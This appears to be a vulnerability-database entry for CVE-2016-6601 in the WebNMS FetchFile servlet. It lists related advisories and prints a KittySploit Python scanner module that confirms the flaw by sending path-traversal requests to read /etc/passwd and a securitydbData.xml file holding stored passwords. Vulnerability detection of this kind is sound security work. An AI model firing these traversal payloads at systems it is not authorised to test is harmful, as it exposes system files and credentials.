FetchFile Servlet - Path Traversal Detection (CVE-2016-6601)
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| WebNMS Framework Server 5.2 / 5.2 SP1 - Multiple Vulnerabilities | 10 Aug 201600:00 | – | zdt | |
| CVE-2016-6601 | 29 May 201815:50 | – | circl | |
| Multiple Vulnerabilities in ZOHO WebNMS Framework (CNVD-2016-06371) | 14 Aug 201600:00 | – | cnvd | |
| CVE-2016-6601 | 23 Jan 201721:00 | – | cve | |
| CVE-2016-6601 | 23 Jan 201721:00 | – | cvelist | |
| WebNMS Framework Server 5.2/5.2 SP1 - Multiple Vulnerabilities | 10 Aug 201600:00 | – | exploitdb | |
| WebNMS Framework Server 5.25.2 SP1 - Multiple Vulnerabilities | 10 Aug 201600:00 | – | exploitpack | |
| WebNMS Framework Server Arbitrary Text File Download | 4 Jul 201600:00 | – | metasploit | |
| ZOHO WebNMS Framework <5.2 SP1 - Local File Inclusion | 11 Oct 202602:15 | – | nuclei | |
| CVE-2016-6601 | 23 Jan 201721:59 | – | nvd |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Multiple vendors /servlets/FetchFile path traversal (CVE-2016-6601)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'FetchFile Servlet - Path Traversal Detection (CVE-2016-6601)',
'description': (
'Detects CVE-2016-6601 by reading /etc/passwd or conf/securitydbData.xml via '
'/servlets/FetchFile?fileName=.'
),
'author': ['KittySploit Team'],
'severity': 'high',
'tags': [
'web', 'scanner', 'cve', 'cve2016', 'lfi', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'file_read', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/securitydbdata_xml_disclosure_detect'],
},
},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2016-6601'],
'cve': 'CVE-2016-6601',
}
def run(self):
probe = self.http_request(method='GET', path='/servlets/FetchFile', allow_redirects=False)
if not probe or probe.status_code >= 300:
return False
path = '/servlets/FetchFile?fileName=../../../../../../../etc/passwd'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if r and re.search(r'root:.*:0:0:', r.text or ''):
self.set_info(
severity='high',
reason='FetchFile path traversal (CVE-2016-6601)',
path='/servlets/FetchFile',
)
return True
path2 = '/servlets/FetchFile?fileName=conf/securitydbData.xml'
r2 = self.http_request(method='GET', path=path2, allow_redirects=False)
if r2:
body = r2.text or ''
if '<AUTHORIZATION-DATA>' in body and '<DATA ownername=' in body and 'password=' in body:
self.set_info(
severity='high',
reason='FetchFile securitydbData.xml disclosure',
path=path2,
)
return True
return False
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CVSS 25
CVSS 37.5
EPSS0.97532